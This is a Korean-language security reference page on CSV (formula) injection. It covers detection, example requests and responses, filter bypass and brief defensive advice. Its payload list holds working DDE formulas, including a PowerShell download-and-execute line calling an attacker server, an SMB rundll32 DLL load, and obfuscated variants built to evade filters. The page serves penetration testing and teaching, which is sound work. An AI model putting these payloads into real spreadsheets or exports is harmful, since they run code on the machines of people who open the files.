CSV Injection
Introduction
CSV Injection은 Formula Injection으로도 불리며 일반적으로 CSV 파일 다운로드 등의 기능에서 발생되는 취약점이자, 공격기법입니다. MS Excel, Libre Office 등에서 CSV 파일을 열 때 특정 구문을 이용하여 시스템 명령등을 수행할 수 있는데, 이를 악의적인 파일이 아닌 정상적인 파일을 다운로드할 때 공격자가 의도한 구문이 CSV 파일 내부에 반영되도록 하여 피해자가 의심없이 파일을 열면서 공격자가 의도한 코드가 실행되도록 할 수 있는 공격입니다.
일반적으로 보안 경고와, 사용자 인터렉션이 있어 공격 복잡도가 높은 편이긴 하지만, 신뢰를 기반으로 하기 떄문에 파일을 열 가능성이 높은 상태에서 시스템 명령등을 수행할 수 있어서 리스크 자체는 높은편입니다.
Offensive techniques
Detect
서비스의 도메인에서 웹 페이지, API 등을 통해 CSV 파일을 다운로드하는 기능이 있다면 우선 점검할 포인트가 됩니다. 여기에 URL Query, 미리 저장한 데이터등을 이용해서 CSV을 수정할 수 있다면 CSV Injection의 포인트로 보면 됩니다.
Request
GET /download-sum-csv?title=testname
Response
HTTP/1.1 200 OK
title,sub,data
testname,10,1234
Exploitation
CSV 내부를 제어할 수 있다면 아래와 같이 DDE(Dynamic Data Exchange) 코드 등을 통해 명령 실행을 유도합니다.
Request
GET /download-sum-csv?title=DDE%20("cmd";"/C%20calc";"!A0")A0
Response
HTTP/1.1 200 OK
title,sub,data
DDE ("cmd";"/C calc";"!A0")A0,10,1234
일반적으로 CSV Injection에 사용되는 DDE 코드는 아래와 같습니다.
# pop a calc
DDE ("cmd";"/C calc";"!A0")A0
@SUM(1+1)*cmd|' /C calc'!A0
=2+5+cmd|' /C calc'!A0
# pop a notepad
=cmd|' /C notepad'!'A1'
# powershell download and execute
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
# msf smb delivery with rundll32
=cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1
# Prefix obfuscation and command chaining
=AAAA+BBBB-CCCC&"Hello"/12345&cmd|'/c calc.exe'!A
=cmd|'/c calc.exe'!A*cmd|'/c calc.exe'!A
+thespanishinquisition(cmd|'/c calc.exe'!A
= cmd|'/c calc.exe'!A
# Using rundll32 instead of cmd
=rundll32|'URL.dll,OpenURL calc.exe'!A
=rundll321234567890abcdefghijklmnopqrstuvwxyz|'URL.dll,OpenURL calc.exe'!A
# Using null characters to bypass dictionary filters. Since they are not spaces, they are ignored when executed.
= C m D | '/ c c al c . e x e ' ! A
Bypass protection
CSV 파일을 사용자에게 수정할 수 있도록 기능적으로 제공하는 경우, DDE 구문 등을 추가할 수 없도록 정규식 또는 문자열 기반의 검증 정책이 들어가게 됩니다. 이러한 경우 반복적인 테스팅을 통해서 검증 정책을 추측하고, 이를 우회하여 코드를 삽입하는 형태로 Bypassing을 할 수 있습니다.
Defensive techniques
가급적 CSV 파일 내부는 사용자가 제어할 수 없도록 Input point를 제거하는 것이 좋으며, 기능 상 사용자가 통제할 수 있어야 한다면 용도에 맞게 필터링하는 형태로 제한할 수 있습니다. 예를들어 숫자만 입력이 필요한 필드라면, CSV 파일을 생성하여 내려주기 전에 사용자 입력이 숫자 값인지 정확하게 검증하고 내려주는 형태로 방어할 수 있습니다.
대다수 구문이 cmd를 사용하기 떄문에 해당 문자열을 기반으로 검증하는 방법도 있습니다. 다만 XSS와 유사하게 대소문자와 인코딩에 대해서도 고려하여 필터링되야 합니다.